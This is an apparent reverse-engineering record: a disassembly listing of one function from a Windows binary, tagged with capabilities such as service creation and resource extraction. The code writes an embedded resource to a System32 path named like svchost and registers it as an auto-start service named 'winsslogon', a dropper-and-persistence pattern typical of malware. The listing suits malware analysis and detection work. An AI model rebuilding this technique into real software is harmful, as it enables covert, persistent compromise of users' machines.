Function at 0x1400034f0
Capabilities:
Create service
Extract resource via kernel32 functions
Get common file path
Persist via windows service
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x2e0
mov rax, qword [0x140009040]
xor rax, rsp
mov qword [rsp + 0x2d0], rax
mov r15, rcx
mov edx, 0x104
lea rcx, [rsp + 0xc0]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0x70]
call fcn.140001200
nop
mov rdi, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x88]
mov rax, rcx
sub rax, rdi
xor r12d, r12d
cmp rax, 0x15
jb 0x14000359c
lea rax, [rdi + 0x15]
mov qword [rsp + 0x80], rax
lea rbx, [rsp + 0x70]
cmp rcx, 7
cmova rbx, qword [rsp + 0x70]
lea rcx, [rbx + rdi*2]
mov r8d, 0x2a
lea rdx, str.System32_svch
call sub.VCRUNTIME140.dll_memmove
mov word [rbx + rdi*2 + 0x2a], r12w
jmp 0x1400035bb
mov qword [rsp + 0x20], 0x15
lea r9, str.System32_svch
mov edx, 0x15
lea rcx, [rsp + 0x70]
call fcn.140004340
lea rdx, [rsp + 0x70]
cmp qword [rsp + 0x88], 7
cmova rdx, qword [rsp + 0x70]
mov rax, qword [rsp + 0x80]
lea r8, [rdx + rax*2]
lea rdx, [rsp + 0x70]
cmova rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0x98]
call fcn.140003e00
lea r14, [rsp + 0x70]
cmp qword [rsp + 0x88], 7
cmova r14, qword [rsp + 0x70]
lea r8, [0x1400064f8]
mov edx, 0x71
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
mov rdx, rax
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rbp, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rsi, rax
mov rdx, rbx
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
mov qword [rsp + 0x20], r12
lea r9, [rsp + 0x90]
mov r8d, edi
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FreeResource]
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rdi, rax
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x38], r14
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 0x10
mov r9d, 0xf01ff
lea r8, [0x140006ea8]
lea rdx, str.winsslogon
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov rbx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rsp + 0xb0]
cmp rdx, 0xf
jbe 0x140003764
inc rdx
mov rcx, qword [rsp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000375e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000375e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400047c4
nop
mov rdx, qword [rsp + 0x88]
cmp rdx, 7
jbe 0x1400037ac
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400037a7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400037a7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400047c4
mov rcx, qword [rsp + 0x2d0]
xor rcx, rsp
call fcn.140004520
lea r11, [rsp + 0x2e0]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret